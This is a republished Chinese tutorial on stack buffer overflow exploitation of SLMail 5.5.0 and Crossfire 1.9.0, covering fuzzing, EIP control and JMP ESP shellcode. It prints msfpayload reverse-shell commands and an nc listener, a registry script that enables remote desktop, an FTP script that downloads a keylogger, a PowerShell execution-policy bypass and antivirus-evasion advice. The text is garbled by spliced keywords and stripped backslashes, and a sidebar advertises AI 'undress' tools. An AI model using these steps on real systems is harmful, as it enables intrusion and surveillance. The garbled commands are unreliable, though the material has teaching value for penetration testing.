搜尋
首頁系統教程LinuxLinux滲透測試教學:手把手教你棧溢位從入門到放棄

筆記內容參考安全牛課堂苑房間弘老師的KaliLinux滲透測試教程

所有漏洞的癥結都來自於資料的輸入,緩衝區溢位的原理在於資料與程式碼邊界模糊,當緩衝區邊界限制不嚴格時,因為變數傳入畸形資料或程式運作錯誤,致使緩衝區被“撐暴”,進而涵蓋了相鄰顯存區域的數據,成功更改顯存數據,可導致進程綁架,執行惡意程式碼,獲取伺服器控制權等後果。

為更能理解緩衝區溢位原理,參考筆者轉載的文章:

手把手教你堆疊溢位從入門到捨棄(上)

手把手教你堆疊溢位從入門到捨棄(下)

文章目錄

一、發現漏洞的方式(一)源碼審計

軟體開發人員,或則藉助社工等方法取得原始碼進行審查、調試。條件嚴苛,通常原始碼無法取得。

(二)逆向工程(ReverseEngineering)

借助逆向工程取得彙編原始碼進行剖析,彙編程式碼剖析工作量大,難度高。

linux防缓冲区溢出_缓冲区溢出代码例子_缓冲区溢出shellcode

#(三)模糊測試(Fuzzing)

是一種透過向目標系統提供非預期的輸入並監視異常結果來發覺軟體漏洞的方式,一般情況下會使用一個有效的輸入和添加隨機偏差來完成,須要利用軟體調試工具(如: ImmunityDebugger)。

二、模糊測試過程

首先要了解一些針對緩衝區溢位的安全保護技術,由於在模糊測試過程中要避開這種保護機制。

(一)Windows

測試軟體為’SLMail5.5.0MailServer’,其PASS指令存在緩衝區溢位漏洞。基本想法:(調試工具用ImmunityDebugger)

1.使用python腳本測試PASS指令接收到大量資料時是否會溢出,通常到3000個字元尚未出現溢出現象則說明該處應當不存在溢出漏洞。

2.發覺溢位漏洞後,判定EIP對應的位址,基本方式有:二分法、唯一字串法。惟一字串法可以藉助metasploit腳本usr/share/metasploit-framework/tools/pattern_create.rb3000產生。

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

#3.將EIP改為Shellcode對應的顯存位址,將Shellcode寫入到該位址空間,程式讀取EIP暫存器數值,將跳到shellcode程式碼段並執行。

4.透過調試工具發覺,發送的資料填充EIP後,緊接著會填滿ESP指向的空間,因而我們將Shellcode放在ESP的位置。

5.判定ESP位址到堆疊底部的距離linux防緩衝區溢位,也就是可以儲存Shellcode的大小。借助python腳本向軟體發送資料測試,透過調試軟體看有多少資料儲存在ESP指向的空間。現代電腦系統流程的顯存空間視圖如圖所示:

圖1流程的顯存空間視圖

6.由於ASLR機制,軟體每次執行函數呼叫堆疊的位址是隨機變化的,因而硬編碼不可行,變通思路在顯存中找尋位址固定的系統模組,在模組中找尋JMPESP指令的位址跳轉,再由指令間接跳到ESP,進而執行shellcode,借助mona.py腳本辨識顯存模組,搜尋「returnaddress」是JMPESP指令的模組,找出不受DEP、ASLR機制保護的系統模組!monamodules,借助/usr/share/metasploit-framework/tools/nasm_shell.rb將組譯指令jmpesp轉換為二補碼為FFE4,在模組中搜尋FFE4指令!monafind-s“xffxe4”-mslmfc.dll,找到指令所在位址後,將此位址填入EIPlinux版qq,建構Shellcode,且移除壞字元:/msfpayloadwin32_reverseLHOST=192.168.20.8LPORT=443R|./msfencode-b「x00x0ax0d

註:建構Shellcode時選擇的payload是reverse反向聯接,而不是直連bind,這樣可以避免防火牆的封堵策略。

7.最後開啟連接埠竊聽nc-vlp443,Shellcode執行結束後以ExitProcess方法退出整個進程,將造成簡訊服務崩潰,Slmail是一個基於線程的應用,適用ExitThread方法可以防止整個服務崩潰,可實現重複溢位:/msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b“x00x0ax0d”

附註:不同類型的程式、協定、漏洞,會將個別字符覺得是壞字符,那些字符有固定用途,因而返回地址、Shellcode、buffer中都不能出現壞字符。傳送0x00—0xff256個字符,找出所有壞字符。使用metasploit腳本./msfencode可以編碼壞字元。

8.如果要進一步控制功擊目標,可以透過變更登錄機碼開啟遠端桌面,Windows中90%以上的設定都可以透過變更登錄機碼完成:

<span class="token function">echo</span> Windows Registry Editor Version 5<span class="token punctuation">.</span>00>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
Server]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"fDenyTSConnections"</span>=dword:00000000>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWdsrdpwdTdstcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
regedit <span class="token operator">/</span>s 3389<span class="token punctuation">.</span>reg

(二)Linux

測試軟體為’Crossfire’,1.9.0在接受入站socket連結時存在快取區溢位漏洞。基本想法同WindowsFuzzing(調試工具用edb),不再贅言,需注意以下幾點:

1.偵錯指令:edb--run/usr/games/crossfire/bin/crossfire

2.在驗證緩衝區溢位時發覺只有當payload固定4368位元組時能夠確切覆蓋EIP的值,這樣ESP指向的空間只剩下7個字節,不足以放下Shellcode,因而在edb中查找可以被資料完全覆蓋的暫存器,找到EAX,於是變通思路ESP跳到EAX執行Shellcode。

三、選擇與更改EXP

網路上有針對各類軟體早已公佈漏洞的借助代碼(EXP),我們可以選擇可信賴的EXP源,在此基礎上進行研究或更改,尤其是Shellcode不能輕易使用linux防緩衝區溢位,有可能帶有病毒linux系統應用,須要把握的程式語言一般包括Python、C、C 、Ruby等。幾個可靠的EXP來源:

領到EXP後,須要注意以下幾點:

四、後漏洞借助階段

包括上傳工具、提權、擦除功擊痕跡、安裝側門等進一步操作,這兒僅討論文件上傳操作,文件上傳是預置木馬、安裝側門的基礎,主要依據早已取得的目標操作系統的shell,進行檔案上傳操作。

(一)Windows

首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:

1.Linux端:配置ftp服务

登陆FTP有三种形式:

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span>
vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span>
<span class="token comment">#添加配置</span>
local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span>
<span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span>
<span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span>
chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span>
chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span>
chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list
<span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span>
userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span>
userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span>
<span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span>
<span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span>
<span class="token function">mkdir</span> /home/ftpduser
<span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
<span class="token function">service</span> vsftpd start

2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置

(1)使用ftp传输文件

由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。

<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt
ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt

(2)使用powershell传输文件

<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span>
<span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient
<span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span>
<span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span>
<span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span>
powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1

(二)Linux

借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。

注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。

以上是Linux滲透測試教學:手把手教你棧溢位從入門到放棄的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:ITcool。如有侵權,請聯絡admin@php.cn刪除
使用Linux別名提高自定義命令快捷方式的生產率使用Linux別名提高自定義命令快捷方式的生產率Apr 12, 2025 am 11:43 AM

介紹 Linux是一個強大的操作系統,由於其靈活性和效率,開發人員,系統管理員和電源用戶都喜歡。但是,經常使用長而復雜的命令可能是乏味的

Linux實際上有什麼好處?Linux實際上有什麼好處?Apr 12, 2025 am 12:20 AM

Linux適用於服務器、開發環境和嵌入式系統。 1.作為服務器操作系統,Linux穩定高效,常用於部署高並發應用。 2.作為開發環境,Linux提供高效的命令行工具和包管理系統,提升開發效率。 3.在嵌入式系統中,Linux輕量且可定制,適合資源有限的環境。

在Linux上掌握道德黑客的基本工具和框架在Linux上掌握道德黑客的基本工具和框架Apr 11, 2025 am 09:11 AM

簡介:通過基於Linux的道德黑客攻擊數字邊界 在我們越來越相互聯繫的世界中,網絡安全至關重要。 道德黑客入侵和滲透測試對於主動識別和減輕脆弱性至關重要

如何學習Linux基礎知識?如何學習Linux基礎知識?Apr 10, 2025 am 09:32 AM

Linux基礎學習從零開始的方法包括:1.了解文件系統和命令行界面,2.掌握基本命令如ls、cd、mkdir,3.學習文件操作,如創建和編輯文件,4.探索高級用法如管道和grep命令,5.掌握調試技巧和性能優化,6.通過實踐和探索不斷提陞技能。

Linux最有用的是什麼?Linux最有用的是什麼?Apr 09, 2025 am 12:02 AM

Linux在服務器、嵌入式系統和桌面環境中的應用廣泛。 1)在服務器領域,Linux因其穩定性和安全性成為託管網站、數據庫和應用的理想選擇。 2)在嵌入式系統中,Linux因其高度定制性和高效性而受歡迎。 3)在桌面環境中,Linux提供了多種桌面環境,滿足不同用戶需求。

Linux的缺點是什麼?Linux的缺點是什麼?Apr 08, 2025 am 12:01 AM

Linux的缺點包括用戶體驗、軟件兼容性、硬件支持和學習曲線。 1.用戶體驗不如Windows或macOS友好,依賴命令行界面。 2.軟件兼容性不如其他系統,缺乏許多商業軟件的原生版本。 3.硬件支持不如Windows全面,可能需要手動編譯驅動程序。 4.學習曲線較陡峭,掌握命令行操作需要時間和耐心。

Linux難以學習嗎?Linux難以學習嗎?Apr 07, 2025 am 12:01 AM

Linuxisnothardtolearn,butthedifficultydependsonyourbackgroundandgoals.ForthosewithOSexperience,especiallycommand-linefamiliarity,Linuxisaneasytransition.Beginnersmayfaceasteeperlearningcurvebutcanmanagewithproperresources.Linux'sopen-sourcenature,bas

Linux的5個基本組件是什麼?Linux的5個基本組件是什麼?Apr 06, 2025 am 12:05 AM

Linux的五個基本組件是:1.內核,管理硬件資源;2.系統庫,提供函數和服務;3.Shell,用戶與系統交互的接口;4.文件系統,存儲和組織數據;5.應用程序,利用系統資源實現功能。

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
3 週前By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解鎖Myrise中的所有內容
4 週前By尊渡假赌尊渡假赌尊渡假赌

熱工具

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SecLists

SecLists

SecLists是最終安全測試人員的伙伴。它是一個包含各種類型清單的集合,這些清單在安全評估過程中經常使用,而且都在一個地方。 SecLists透過方便地提供安全測試人員可能需要的所有列表,幫助提高安全測試的效率和生產力。清單類型包括使用者名稱、密碼、URL、模糊測試有效載荷、敏感資料模式、Web shell等等。測試人員只需將此儲存庫拉到新的測試機上,他就可以存取所需的每種類型的清單。

PhpStorm Mac 版本

PhpStorm Mac 版本

最新(2018.2.1 )專業的PHP整合開發工具

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

強大的PHP整合開發環境

SublimeText3 Linux新版

SublimeText3 Linux新版

SublimeText3 Linux最新版